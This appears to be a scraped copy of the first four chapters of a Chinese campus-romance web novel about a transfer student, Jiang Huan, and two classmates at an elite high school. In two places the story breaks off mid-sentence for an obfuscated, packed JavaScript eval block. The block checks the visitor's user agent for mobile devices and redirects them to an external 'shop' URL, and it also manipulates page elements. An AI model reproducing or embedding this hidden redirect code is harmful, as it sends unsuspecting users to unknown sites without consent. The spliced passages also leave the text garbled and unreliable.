《向你时风起》 1. 001 - 宋玉琳说过,姜还之所以叫姜还,是因为姜家欠她的,总有一日,她要连本带利,悉数讨还。 - 9月3日,开学报道的日子。 昨夜下了一场雨,今早起来气温比前几天降了不少,以师大附中为圆心周围几条街堵得水泄不通。 宋玉琳坐在车里,眼见着半天才挪动一小截的车流,面色已是极为不耐,在一道刺耳又催促的鸣笛声响起后终于爆发:“催什么催!就你有喇叭还是怎的?” 说着长摁喇叭,放下车窗朝车前加塞过来的丰田骂道:“干什么你!懂不懂交通规则?看我女司机好欺负?!” 车窗重新升起,炎热和车流的躁动尽数被关在外面,宋玉琳拍下车牌后将手机往中控台一扔,一脚油门轰上去紧接着一个急刹,生生把又一辆想要加塞的宝马给逼了回去。 坐在副驾的女孩没料到有这变故,整个人往前一耸,又在安全带的作用下弹回来撞在椅背上发出沉闷的一声。 宋玉琳安稳驶入车队,皱眉看过去一眼,生硬的语气好歹缓和了些:“没事吧?伤到没有?” 女孩轻轻地回答:“没。” “昨晚跟你说了早睡不听,今早喊死不起床,堵在路上迟到你就满意了,到时候丢脸的还是我。”她今天大概是更年期到了,一大早火气就特别大,本来顺利转入师大附中是一件值得高兴的事,现在硬是拿不出一点好脸色。 女孩抿着唇说:“就算再早一个小时,该堵还是堵。” 师大附中是全国数一数二的名校,多少人削尖了脑袋想挤进去,碰上开学,堵上一天都不稀奇。 “还敢顶嘴?半夜两点开着灯不睡觉的人是谁?要不是我出来上厕所发现,你是不是还打算通宵了?姜还,你到底知不知道今天开学?” 有的人,手摸到方向盘脾气就会变暴躁。 宋玉琳便是这样的人。 被叫作姜还的少女一身休闲装扮,短袖长裤,袖管里伸出来的那双手瘦却不过分单薄,黑亮柔顺的长发被束在脑后,素面朝天的一张脸非但不寡淡,反而异常清丽,皮肤仿若白玉一般,只眼下淡淡乌青,少女神色也恹恹的,肉眼可见的没睡好。 许是知道理亏,又许是无心争吵,姜还嘴唇绷成一条直线,将脸偏向了一边。 宋玉琳见状也懒得多话,愈发地跟这群没有任何素质可言的司机较起劲来。 跟王主任约的时间是十点,现在已经九点四十五了,宋玉琳心中急得不行,回头一看慢吞吞挪动步子的少女更是气不打一处来。 “你就在这里慢悠悠地晃吧。”宋玉琳知道她还在为刚才车里的争吵怄气,又怕王主任那边等急了,便踩着高跟鞋风风火火地先走了。 她一走,姜还一直绷着的唇角便放松下来,偏头打量这座她将要待上两年的校园。 附中出名她一直是知道的,上次来也没怎么逛过,这时候才发现这学校真是大得出奇,都快比得上普通大学了。 附中分了本部和国际班,今天刚报道,校园里多是没有穿校服的同学,姜还眼尖地看见,有些女同学脸上化了淡妆,就连某些男同学也烫了头发,那发色明显和正常亚洲人的发色沾不上边。 倒是和她以前的学校不一样。 这座百年名校管得似乎比想象中要宽松些。 这么想着,姜还已不知道走到了什么地方,她跟着人群走的,但似乎不是所有人都朝着本部的报名点去,而宋玉琳此刻想必也不是去的那里。 太阳高挂在空中,气温也上来了,姜还找了半小时仍没结果后索性不找了,宋玉琳办完手续自然会来找她的,只不过免不了被说就是了。 说就说呗,又不差这一次。 姜还抹了把额头上的细汗,轻松地在校园里逛起来,走到哪儿算哪儿,也没个目的地。 在走过一片教学楼后,迎面看见一座篮球场,她正朝那边走去,身旁忽然跑过两个女孩,留下一阵香风,其中一个女孩边跑边说:“快看,向随在那里!” 一个名字就这么蹿了进来。 向、随。 听着像个男生的名字,听女孩们兴奋的语气,恐怕还是个长得很帅的男生。 姜还不知道怎么的,也就跟着那女孩手指的方向看过去。 只见碧蓝天空下,一个身穿蓝白球服的高挑少年风一般越过重重围阻,轻轻一跃投进一颗漂亮的3分球,全场欢呼! “啊啊啊好帅!” “向随你太牛了!” “好牛!!” 那男生也笑了下,嘴角挂起一抹弧度,和同伴碰了下拳后,低头调整发带。 姜还没看清楚他长什么样。 “少爷!”从球场另一边大叫着冲过来一个男生,高声道:“牛逼啊!” ……少爷? 谁在叫谁少爷? 姜还正要看过去,忽然一阵风起,将地上的泥沙卷了起来,眼睛里落了点灰,她不适地低头闭上眼揉了揉。 在室外待太久,即便是姜还这种不易出汗的体质身上都黏糊糊的,手上、脸上都蒙了一层,姜还嫌脏,但手上又没有清水,她看不见,只能忍着去揉。 没几下眼睛已经被揉得通红,她睁开眼眨了几下,眼睛被生理性的泪水蒙住,视觉已经不复刚才那么清晰。 比赛好像又开始了,这次似乎更加激烈,好几个男生吼着,欢呼声也比刚才更大,姜还眨了眨眼,不适感仍在,低头继续揉着。 忽然她听见球场里传来一句:“小心——” 姜还没来得及多想,本能地往旁边一躲,一道劲风从刚才她站的地方扫过,紧接着是篮球砸地的砰声。 场内因为这场变故发出惊呼。 而姜还,一个普通的路人,俨然在此刻成为全场的焦点。 余光瞥见许多人朝这边赶来。 “你没事吧?” 姜还泪眼朦胧地看过去,发现是刚才喊‘向随’叫‘少爷’的男生。 她一抬头,他便愣住了,盯着她红肿的眼心想,明明看见球没砸中人啊,怎么还哭了…… “怎么样周行知,没事吧?”跟在后面的男生也在此刻赶来。 姜还被这一群人围在中间,一只眼红着,睫毛上还沾着几颗未干的泪珠,像只误入狼窝的小白兔。 她似是没遇到过这种场面,有些干巴巴地站着,说不出一句话,视线也不知道该往哪里落。 周行知:“同学……” 姜还事不关己地站着,眼神在人群中梭巡,她有些好奇那个“少爷”长什么样,眼睛还是有点不适,她只能半闭着一边眼,泪水模糊了视线。 她便眨一下,再眨一下。 好一会儿,面前的世界终于清晰起来,紧接着她就对上了一双很凶的眼神。 眉峰紧蹙,眼型锋利,连下颌线都绷得紧紧的,自带一股生人勿近的压迫感。 她立刻低下了头。 站在人群最后方的向随蹙了下眉。 想起刚才他瞧见的那双眼睛,黑白分明、有点红。 心中也是有点莫名奇妙,她这是干什么? 周行知没看见她和向随那一瞬间的对视,以为是女孩子家脸皮薄被吓着了,便挥手呼散一群乌合之众:“去,都一边去,别吓着女同学。” “我们什么也没干啊……”话音未落,众男生像是反应过来什么,勾肩搭背笑嘻嘻地走了。 周行知好笑摇头,心说你们这些痞子随便往哪儿一站都挺吓人的。 他放缓语气,继续问眼前的女孩:“你没事吧,刚才伤到哪里没有,用不用我带你去医务室?” “不用了。” 声音意料之外的清冷。 周行知再次愣了一下,见女孩抬起了头,面上已经恢复正常,只是那眼睛还红着,语气带上了一股客客气气的疏离:“刚才没砸中我。” 说完也不等他有什么反应,快步离开了。 他看着她离去的背影,若有所思。 向随跟帮忙捡回球的同学道了谢,回头见周行知还站在原地,一球砸过去:“还看呢,人都走了。” 周行知接住飞来的球,摸摸自己的脸:“我长得很可怕吗?” 向随扬眉:“你终于肯承认了?” “我去你的。”周行知追上去,“你小子找打是不是?” 向随伸出两根手指推开他:“滚。” - 宋玉琳找到姜还时,后者正坐在食堂的角落里,拿着一瓶冰水在喝。 “让你慢慢赶过来,没让你直接不来。”宋玉琳颇为无语地走过去,看见女孩脸上似洗过后湿漉漉的脸,以及眼眶那抹刺眼的红,顿了顿:“你哭了?” 语气到底是缓和下来:“都多大了,迷路还哭鼻子。” 姜还差点一口水噎住:“……” 事情顺利办完,宋玉琳彻底松口气,加上姜还这副“可怜兮兮”的模样,也不想着再同她算账了,说:“明天才开学,你是在学校逛会儿还是跟我回去?” 姜还拧上瓶盖闷闷地说:“回去。” 所有事情尘埃落定,没什么可急的了,宋玉琳短暂的更年期彻底过去,点点头:“也好,天气这么热别中暑了,以后想逛有的是时间。” 姜还没答,看了眼宋玉琳风尘仆仆的模样,把买来的湿巾和水一起递过去。 宋玉琳接了,没说什么。 - 今天是工作日,宋玉琳只请了上午的假,把姜还送回去后,还得赶去公司上班。 “不吃午饭了吗?”姜还临下车前,问。 “去公司吃。”刚进公司就请假,宋玉琳心里也没底,只想赶快回去把工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469754|201412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作补上,再在领导前露个脸。 “你回去也别闲着,把各科知识都预习一下,1班进度快,落下太多会追不上。”宋玉琳看着自己女儿,后者也看着她,母女俩三分相似的面庞相对着,“别忘了你答应过我什么。” “知道了。”姜还松开安全带下了车。 砰—— 奔驰扬长而去。 姜还回到房间后先把屋里空调开到最低,洗完澡后又去冰箱里拿了西瓜和冰淇淋,一手抱一个进了早已冷下来的房间。 刚搬进来不久,房间还很空,姜还把西瓜和冰淇淋放在书桌,拿了平板继续画画,压根没听宋玉琳的好好预习。 她瘫倒在床上,两条腿笔直地贴住墙,睡裤裤脚顺着小腿滑落到大腿根部,细脚丫子分开又合拢。 晚上,宋玉琳拖着一身疲惫下了班,回到家发现客厅没人,喊了声:“姜还?” 宋玉琳换好鞋,先去厨房洗了手,甩干水出来径直走向姜还卧室,一进门就被冻得打了个哆嗦。 “……这是在干什么……姜还???” 屋里灯和窗帘都关着,零星一点光渗进去,只看得清床上裹着一只“蚕蛹”,身体蜷曲着,连头在哪边都分不清。 宋玉琳啪地一下开了灯,床上的人似被这动静吵醒,动了动。 “你不会就这么睡了一下午吧?”宋玉琳气急,先是把这能冻死人的空调关了,再把人从被窝里拎出来,触及那沁凉的体温时,脾气一下就上来了,“说了多少次空调别开这么低,着凉了怎么办?” 少女轻而易举被拎着坐起来,头发乱成一团,鼻子吸了吸,像是才从梦中醒来,懵了片刻问:“几点了?” “七点了,你说呢?” 宋玉琳把被子一丢,叹气:“今晚我看你怎么睡得着,明天迟到了我可不管你。” 梦里有颗篮球一直往她身上蹦,姜还独自在床上坐了一会儿,终于反应过来现在是在家里。她头重重的,两边鼻子里仿佛堵了什么东西,连喉咙也有点干涩。 她拨开面前的头发,套上一件外套出了房间,去厕所洗了把脸。 宋玉琳已经系上围裙在厨房忙活了,听见身后的动静,头也没回地说:“把冰箱里剩的可乐拿出来,一会儿熬着生姜喝了。” 姜还话里有浓浓的鼻音,她吸了吸鼻子:“哦。” 夏天没什么食欲,晚饭吃得清淡。饭后,姜还被宋玉琳逼着吃了感冒药,在阳台坐了会儿,等手脚的体温回上来的时候,天已经彻底黑了。 盛夏夜,空中灰蒙蒙的,姜还看着这个陌生的城市,清浅的眸中映着月色。 身后宋玉琳洗完澡,正在打电话。 “今天刚办妥当,我跟她们班主任打好招呼了,明天正式去班里报道。” “什么叫现在才跟你报备?姜正元,你好大的官威啊,就你有工作,难道我就不忙吗?你手机里没她电话,不会自己问?” “不回你消息你冲我发什么火,女儿不亲你自己想想问题出在哪……” 阳台上,姜还置若罔闻,事不关己地抬头看着夜空,似想从这雾蓝漆黑的天幕中找出什么来。 她忽然眯起右眼,想起了今上午狼狈的自己。 以及,她对上的那个眼神…… …… 附中提倡住校,今天报名后基本都返校了,住校生留在教室多上一节晚自习。 夜黑风高,一座高高的围墙下站着一个高瘦的男生,微弱的路灯灯光照在他头顶上,蓬松刘海打下一层阴影,半张脸都藏在里面。 两秒后,墙头蹿上来一个男生,冲他挥了挥手。 周行知从墙上跳下来,跟猫一样,动作很轻。 “终于出来了,”周行知伸了个懒腰,“早知道下午跟你一块儿了。” 两人朝远离学校的方向走着,路灯把他俩的影子拉得很长。 走出一段路,周行知忽然说:“我托人打听今上午那个女生了。” 向随眼前闪过女孩湿漉漉的眼神,挑了挑眉。 “我打听了一天,居然没人认识,她也不像是高一的。” 晚自习周行知跑遍了高一那栋教学楼。 一晚上下来,所有高一新生都知道了有个帅气的怪学长喜欢在他们教室的窗户外站着,似乎在找什么人。 “所以?” “你不觉得她长得很眼熟吗?” 向随没说话。 “说实话,今上午第一次看见她脸的时候,我就有种感觉……”周行知声音很轻很轻。 向随没什么表情地说:“上午看那么入神,我以为你爱上了呢。” 周行知:“你也觉得她好看?” “……”向随扭头就走。 盛夏夜空旷,明月高悬,榕树树叶被晚风吹得簌簌作响,少年骑上车消失在转角。 2. 002 睡了一下午,晚上姜还坐在书桌前一直没有睡意,未免起不来被宋玉琳念叨,她直接通宵了。 第二天早上听见外面传来宋玉琳起床的动静,她也放下笔关掉iPad,起身把窗帘拉上开始换衣服。 宋玉琳热好牛奶推门叫人时,就见少女已经穿戴整齐正往书包里塞她的画本。 “附中虽然可以带手机,但要少玩,专心读书才是重点,不要本末倒置,有什么不清楚的地方你就问老师,或者打电话给我——你怎么还把平板带上了,又想看电视剧?” 姜还只好把平板又拿出来:“塞顺手了。” “你这是还没睡醒?”要不是怕被同学嘲笑,宋玉琳连手机都不想让她带,“收拾好出来吃饭了。” 其实没什么好收拾的,新书还没领,书桌上放着的,是之前准备附中考试的复习资料,自考完后姜还再也没碰过。 身上的校服是昨天报道时宋玉琳领回来的,洗干净烘干后有一股清爽的洗衣液的味道。 太阳穴有些沉重,眼睛也涩痛,姜还拉开窗帘,对着倾泄而来的日光舒展身体。 “姜还,快去洗漱,马上吃饭了。”宋玉琳在外面喊。 姜还拎着书包带上门出来,宋玉琳正站在餐桌前给吐司抹酱,见她出来瞥过去一眼:“这一周我先送你去上学,等知道路了你再自己去。” 租的房子离附中虽然不远,但以姜还的路痴脑袋,宋玉琳还是怕她开学第一天就迟到被关在外面。 9月正是热的时候,烈日早早就挂在天空。 将人送到校门口,宋玉琳仍旧不放心地带着姜还一路找到了年级办公室,班主任梁菲已经得到消息在门口等着了。 “您就是姜还妈妈吧,您好,我是1班班主任梁菲。” 梁菲看着刚毕业没多久,人年轻,声音也很温和。 “您好我姓宋,之前在微信上咱们聊过的,没想到梁老师居然这么年轻。”宋玉琳伸出手同她握了握,脸上的笑容没下去过,不动声色地打听:“您是什么时候来附中的?带1班这样的压力不小吧?” 梁菲哪里听不明白:“也没有,其实到了1班学生这个阶段,老师们已经教不了他们什么了,重要的还是领他们入这个门,在走偏的时候及时拉一把,我们能做的时候,就是在孩子们需要的时候站出来,也就不枉学校和家长的信任了。” 宋玉琳不太赞同地皱起眉,但也不好说什么,面上笑笑:“那这孩子我就交给您了,辛苦。” 梁菲也客气道:“哪里,这是我的职责所在,姜还妈妈您慢走。” 宋玉琳低声交代了姜还几句,忙示意梁菲留步不用送,她还急着去上班,挎着包匆匆忙忙走了。 办公室冷气吹得很足,偶尔有学生抱着作业进来,姜还还在原地站着,喊了声“梁老师”。 少女身量高挑,瘦却不单薄,一双杏眸在光下呈琥珀色,梁菲笑容更温和了些:“昨天老师家里有点事没来学校,今天见到了,第一节刚好是我的课,一会儿就跟着我过去吧。” 姜还抿抿唇,温声说“好”。 梁菲轻轻点头,心说这新同学是个乖的,以后可别被那群大魔王欺负得掉眼泪。 “班里同学都活泼些,要是谁让你不舒服了,你就来找老师,老师帮你出气。” 姜还默不作声,不太明白她为什么这么说,只疑惑地看过去一眼。 梁菲没再说什么,把准备好的新教材拿出来让姜还收起来,又拉开旁边的空椅子让她坐一会儿,自己则继续备课。 姜还收拾完就坐在那儿,不吵也不闹。 预备铃响,梁菲合上电脑,拿起放在一旁的书和水杯,对姜还说:“走吧。” 1班和办公室在同一层楼,只不过一个在最左边,一个在最右边,中间隔了4个班和一个楼梯间,跟她们一起出来的老师走到自己班级后同梁菲打了个招呼进去了。 姜还和梁菲从走廊这一头走到另一头,中途经过几个班,围墙很矮,窗户玻璃擦得几乎透明,不少同学侧过头来看她。 1班学生早已坐整齐,看见梁菲身后跟了一个漂亮女同学时,所有人眼睛同时亮了。 “菲姐,咱们班这学期一开学就有新同学啊?!” “我的妈呀真好看,她以前是哪个班的呀,怎么都没听说过。” “我靠肯定不是咱们学校的啊,转校生吧?” “好了,声音都小点,不要以为在讲台上听不见。”梁菲看了眼教室里那几个带头闹腾的,让姜还站上讲台来,介绍说:“这是咱们新来的转校生,大家掌声欢迎!” 台下立刻响起热烈的掌声。 “新同学,给大家做一下自我介绍吧。”梁菲用眼神鼓励姜还。 她本以为,姜还这性子应该会怵这场面,可意料之外的是,女孩大大方方的,在将近三十双沉默且期待的眼神注视下开了口。 “我叫姜还。” 嗯……没了? 看来还是害羞啊。 梁菲看了眼蠢蠢欲动的魔王们,摇摇头:“有什么问题下课再问,姜还,班里还有几个空位,你看看坐哪儿?” 女孩眼神在教室里扫了圈,然后抬腿径直朝一个方向走去。 看清她选的位置,本来还挺躁动的班级瞬间静了。 连梁菲表情都有些控制不住地抽了抽。 “好了。”眼看又要骚动起来,梁菲立刻打断:“现在我们把书翻开,先讲一下这学期要背的课文……” 姜还把新领的书全部塞进桌肚,只在桌上摆了今天要用的。 她对自己选的这个位置很满意,右边靠墙,前面、左边还有左前方都没人,后面是门,无人打扰。 姜还坐在宋玉琳车里的时候困意就来了,脑袋昏昏沉沉的,坐下后再也坚持不住,撑着头就打起了盹。 约莫是开学太激动睡不着,撑着打瞌睡的不止姜还一个。 课才讲到一半,班里已经倒下去三分之一。 台上梁菲专注讲自己的,似没注意到台下的“盛况”。 下课铃打响,梁菲说了声下课,收起书出了教室。 这就像摁下了什么开关,原本死气沉沉仿佛被妖怪吸干了精气的少男少女们立刻活了过来,掏早饭的掏早饭,赶作业的赶作业,好不热闹。 唐枝拿了块自己喜欢的蛋糕,回头就看见新同学已经睡趴下了。 阳光照在她毛茸茸的头顶,她那儿就像隔了层什么结界,任周围怎么吵闹,睡得也雷打不动。 - 校门外。 “少爷快点儿,这里没人。”周行知指着昨晚他翻出来的那道墙,招呼身后的男生快来。 向随走得不紧不慢, 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周行知让开位置,向随像是没了耐心,也不在乎动静大不大,旋开门把手往里一推。 刺啦—— “……” 周行知提醒:“你小点声啊。” 向随感受到门后传来的阻力,皱了皱眉。 他低了头,从推开的那一点缝隙里,看见原本空着的座位上坐了个人。 是个女孩,睡得正熟,衣领因为动作稍稍立起,露出一截纤细白皙的后颈,细软不明显的绒毛在阳光下变成了金色。 他身体往后一仰,仿佛见了鬼。 周行知:“你干啥呢?” 向随退开一点,终于说了今天第二句话:“你来。” “怎么回事……”见他那么大反应,周行知不明所以推开门一看。 周行知:“……” - 姜还睡得头脑发昏,一直感觉有什么东西在推着她。 “同学……”压低的嗓音。 姜还脸翻了个面,阳光照在她脸上,眼睫动了动。 “同学……”声音变大了。 姜还终于从沉睡状态中脱离,茫然睁开眼,忘了自己现在在新学校,盯着虚空发呆。 “同学……”又是那个声音。 姜还顺着看过去,看见了昨天上午和她说话的男生,在冲她招手。 她眼神没在他身上停留太久,因为她察觉到另外有一道视线落在自己身上。 阳光照射下,姜还有些看不太清楚。 ……好像看见了“少爷”? 向随。 又在做梦吗? “同学。”那道声音又在喊,压得很低:“你醒了的话,把凳子挪一下让我们进去。” 进去? 进哪儿? 姜还思考着,视线和一双漆黑冷淡的眼睛对上了。 下一刻,喧嚣倾泻而入,像卡了壳的老电影忽然按了播放键。 蝉鸣声、空调运转声以及老师讲课的声音蹿入耳膜,眼前的画面也逐渐清晰起来。 不待她弄清楚现在的状况,一道石破天惊的怒吼从讲台上传来。 “周行知!!给我站那儿!!!!” 3. 003 上午十点,气温已经渐渐升上来了。 整条走廊安安静静的,只时不时能听见不知道从哪儿传来的知了声。 姜还站在两个男生中间。 这位置是光头安排的,应该为了防止他俩搞事。 沉默蔓延了好一阵子。 站在姜还左边的男生率先开口:“昨天我们见过的,还记得吗。” 姜还点头。 男生:“你后来跑得那么急,没事吧?” 姜还摇头。 “……” 气氛再次冷场。 “行则将至,知之为知。周行知,我的名字。”过了片刻,男生作起了自我介绍,且为了防止她再次点头或摇头,抛了个话题出去:“你呢新同学,你叫什么名字?” 这个姜还还真不好不答。 “姜还。” 不知道是不是错觉,她这两个字一出,气氛就有些不对劲。 一直没参与聊天的、站在姜还右边的男生忽然懒懒掀起眼皮看了周行知一眼,又低头看姜还,眼神略凝。 周行知微笑不变:“三点水的江?” 姜还:“‘羊女’姜。” 周行知没立刻出声,摸着下巴似在思考什么,过了会儿说:“这个姓挺好。” 不知怎的,姜还总感觉这人话里有别的意思。 她礼貌回复:“你的名字也好听。” “那是我爸说的,我就会这一句。”过了一会儿他又问,“你名字里的‘还’,是哪一个?” 姜还:“归还的还。” “……” 也不知道这个字哪里有问题,这下彻底没人出声了。 姜还其实有点好奇她右边这个少爷。 男生站姿很随意,却跟模特儿似的,明明没说过一句话,存在感却极强。 她没忍住朝右边看去一眼。 男生似乎对视线很敏感,很快他也转过头来,漆黑的眼神同她对上,却没刚才看着那么冷了,似在询问:有事? 姜还立刻将头扭了回来。 - 下了课,光头腋下夹着教材第一个出来,看了眼站得还算乖的三人:“你们跟我去趟办公室。” 教室里响起此起彼伏的起哄声。 姜还早上才体验过从办公室走来班级,这次往办公室走,她收到的注目礼更多。 前面的班级听见动静,一扇扇窗户前前后后打开,雨后春笋般冒出来许多颗头。 围观明星也不过如此了。 办公室里,许多老师刚下课,正热闹着。 角落里接水的一个男老师说:“回办公室的时候就发现年级里热闹得不行,刘老师,周行知又惹到你了?怎么这次连向随都来了,你舍得说啊?” “还不是让这小子给带坏了,”光头径直走向梁菲工位:“梁老师,这你可得好好管管,不是我找茬啊,这才开学第一天,一个上课睡觉,两个迟到,必须得好好教训教训!” 梁菲原本正在翻另一个班交上来的暑假作业,刚才她就从别的老师口中知道刘老师带着她们班三个同学过来了,看到来的是这三个人,既意外,又不那么意外。 “怎么回事?”她先看向的姜还。 姜还比预想中冷静,没有被老师诘问的慌张:“抱歉老师,昨晚上没睡好。” 她眼底黑眼圈这会儿还在呢,姜还皮肤白、眼睛也大,看着就很明显。 今天早上梁菲就发现了,猜想女孩刚转来比较紧张晚上可能没睡好,点了点头没说什么,又看向一左一右把姜还包围起来的两个男生:“你们俩呢,又是怎么回事?” 她没有问他们两个为什么一起迟到,显然也不是第一次了。 周行知懒懒道:“都是阿随,昨晚他急性胃炎,家里没人,我迫不得已才去陪他的。” 光头:“急性胃炎?我看是拉肚子还差不多!” 向随啧一声。 周行知半点没慌:“真是胃炎,是吧阿随?” 姜还感觉到一只手从自己背后越过,借着她的遮挡,扯了下向随衣角。 向随扭头看了姜还一眼。 姜还:“?” 周行知:“阿随?” 姜还心说,你怎么不叫他少爷了。 向随:“嗯。” 真是言简意赅,冷得出奇。 两个老师都在这儿呢,他却连多一个字都不愿意说,好大的排场。 姜还在心底给少爷打上了一个“拽、疑似不良少年”的标签。 “……不管是什么理由,迟到肯定是不对的。”梁菲不愧这么年轻就当了重点班班主任,这样的场合下居然没破功,又看向姜还:“上课睡觉也不太对……至少别太明显。” 光头:“……” 长了耳朵的人都听得出来这是打算轻拿轻放了。 不过毕竟还是要给老师一点面子,梁菲又说:“回去一人写份800字的检讨吧,自己领了班里卫生,扫一周。” 下节课是英语,1班英语老师也是个年轻女老师,工位在窗户前:“向随,周行知,过来帮我把订的练习册搬过去。” “菲姐,”周行知说,“那我跟阿随过去了?” 梁菲:“去吧。” 姜还正想着自己要不要直接离开,一道声音从头顶落下。 “让一下。” 意外的有质感。 这是她今天听见少爷说的第四个字。 姜还眼皮跳了跳,没看他,让出位置。 “姜还是吧?”英语老师又喊了她名字。 她抬头,向随正好从她面前走过。 他的脸颊差点擦着她的额头。 英语老师还在朝她招手,“你过来一下。” 姜还摸了摸自己脑门,跟在向随身后走过去。 “我姓杨,你可以叫我杨老师,也可以叫我April。”April从抽屉里翻出一张试卷来,正是之前姜还入学考试时的英语试卷。 “我看了你写的,答得不错,以前有过基础?” 姜还摇头。 April轻松地说:“你作文写得很好,用词也生活化,还以为你在国外待过呢。” 那试卷就放在桌上,周行知趁机瞄了眼。 他胳膊肘杵杵向随,示意他看。 向随本不想理会他,但不知怎的,还是看过去一眼,意外地挑了挑眉。 ——147分。 在1班,英语课是最要命的。 大家好像天生缺少学习语言的天赋,再难的数学大题、化学实验、天体运动都能解出来的学霸们,到这里就完全没招了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469756|201412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 几个重点班里,就1班的英语平均分最低。 虽然仍比普通班高出一点。 但这跟April给他们定的目标差出一大截。 重点班里,她一共教两个班,一个班第一,一个班倒数第一。 真是不知道问题出在哪儿。 1班的人也不知道问题出在哪儿。 他们别的科平均分都是第一,就英语是倒数第一。 “其他的就先不说了,我就是先认认人。”April将试卷收起来,拿起上课用的东西,“先去上课吧。” 因为要发练习册,周行知和向随就先回去了。 April在后面问了姜还一些学习经历,发现她许多课程都是自学后并不太意外。 她说:“以后班里的英语就靠你拉分了,你作文应该是没问题的,别的地方细心一点,争取不扣分。” 姜还没答话,只听着。 还没到教室,就听见里头闹哄哄的。 估计是在发练习册。 April让姜还先进去。 她也是到了教室才发现向随和周行知就坐在她周围。 她座位在靠墙最后一排,周行知坐她左边,向随坐她前面——这两人书桌干干净净,她还以为没坐人呢。 向随和周行知已经在位置上坐着了。 班里人看见姜还和April一起进来都挺惊讶。 听到April接下来的话更是惊呼出声。 “新同学大家都认识了吧?也没什么说的,这次入学考试,姜还同学英语考了147分,尤其是作文,得了满分。科代表下课后把试卷贴在教室里,大家要向姜还同学学习。” 1班是附中的重点班,姜还是转学生,要想进1班必须得参加考试。 试卷是各科老师临时找的本省往届几校联考的题目,修改了打印出来的。 当April说出分数的时候,几乎所有人都瞪大了眼,眼神都清澈了。 “不是,这哪里转来的ABC?” “牛逼,这下咱们英语平均分有救了。” “太好了,终于能甩掉‘倒数第一’这个title了!!” 姜还在众人看怪物的眼神中往自己的座位走去,细致的眉头轻轻蹙着,嘴唇也抿着,不知道是不习惯这样被人关注,还是不太满意这个成绩。 应该是不满意吧,最难满分的作文都被拿下了,和成功仅3分的距离。 见惯了怪物的众人如是想。 向随低着头在翻刚发的练习册子,对教室里发生的一切丝毫没有兴趣。 姜还回到自己的位置坐下,自动屏蔽了周围的一切。 还是很困,但不能睡。 姜还把新发的书堆到桌面上,前桌个子很高,刚好把讲台的视线遮住。 她又在心里给少爷加了个“好用”的标签。 周行知从姜还回来时便一直关注着她。 没正眼瞧,用余光看的。 瞥见他同桌坐得笔直,靠窗的一侧身体铺满了阳光,略垂着头,手上动作极快,正认真写着什么。 他在心底摇头失笑,心说这特意教出来的好学生就是不一样,这么无聊的课都上得如此认真,扭头一看—— 这特么哪是在学习啊,分明是在画画! 4. 004 April打开多媒体:“现在我把听力再放一遍,大家带着答案听一下,看看有没有什么不同。” 向随一脚踩在桌下横杠上,手上转着笔。 书桌和椅子对他来说显然矮了点,两条长腿仍憋屈的伸不直,他斜坐着,一条腿支到过道,在看一道大题。 男生倚着椅子靠背就要往后倒,忽然想起什么,硬生生往前顿住身形。 椅子腿“哒”的一声磕在地板上。 数道目光朝他看来。 手中的笔落在试卷上,在空白的答题卡上划出一条断断续续的黑线。 向随啧一声。 班里某个角落隐隐传来憋笑声,向随一个眼刀杀过去,那几个男生立刻捂住嘴扭过头不吭声了。 向随重新捡起笔,索性就着那条线画出来一只大乌龟。 然后在旁边龙飞凤舞地写下两个大字:小丑。 - 下课铃一响,向随就离开了座位。 周行知看了一眼,又用余光看了看姜还,追着出去。 向随已走至楼梯转角。 “干嘛去?”周行知趴在扶手上问。 向随脚步没停:“跑两圈。” 周行知追上去:“我看你这一节课憋屈得不行。” 向随目不斜视:“你没事看我干什么?” 周行知:“没看你。” 向随知道他话还没说完。 周行知:“我在看姜还。” 向随看一眼他,周行知说:“你告诉我,世界上哪有那么多巧合。” 向随对此不做评价:“你打算怎么做?” 怎么做?告诉她?和她相认? 听起来都不是他想的。 “顺其自然吧。”他说。 - 姜还的英语试卷被贴到了教室后面的展示栏。 展示栏前堵了一群围观的吃瓜学生。 最前面那几个夸张说: “我靠,这字这么好看??” “嗯,一看就是大佬的试卷。” “妈呀,作文真的满分,这是人吗?真的有人作文能拿满分??你们说她不会语文作文也是满分吧?” “不知道,菲姐没说。” “我能先把这卷子复印一份再贴上么,每天睡前拜一拜,保佑我英语作文也满分……” 由于隔壁还有个国际部,从入校起接受的就是全英文式教学,附中英语试卷向来是地狱难度。 别说1班了,就是文科重点班都搜罗不出来几个英语作文能拿满分的。 这样的怪物,通常都在国际部里。 难怪April今天这么高兴。 白捡了个好苗子,能不高兴么…… 众人叽叽喳喳地讨论着,半点不嫌累。 向随和周行知跑完步回来,这群人还围在那里。 而被讨论的当事人呢,在座位上睡得自在,丝毫没有被讨论的自觉——也不知道什么时候又睡下的。 周行知表情复杂:“你说她昨晚上干嘛去了?” 向随:“你问我?” 周行知:“嗯,你是她前桌,你去问问她怎么那么爱睡觉。” 向随一脚踹了过去。 走到座位前,向随食指曲起,在前桌课桌上敲了敲:“帮个忙,往前挪挪。” 前桌也是个男生,闻言先提着桌子动了,然后才想起来问:“你坐着不舒服?” 向随拎着自己的桌子往前挪了一截:“避光。” “避光?”男生看了眼旁边亮堂堂的窗户。 又看了眼趴桌上睡得正香的女孩。 懂了。 眼神欠兮兮的。 向随在位置上坐下:“再看眼珠子给你戳了。” “我怎么了,我就看看啥也没干啊。”那声音冤枉得不行,却也带着笑意:“是你自己心虚。” 向随心说我那叫有边界感。 这时候光头来了趟教室:“向随,你出来一下。” 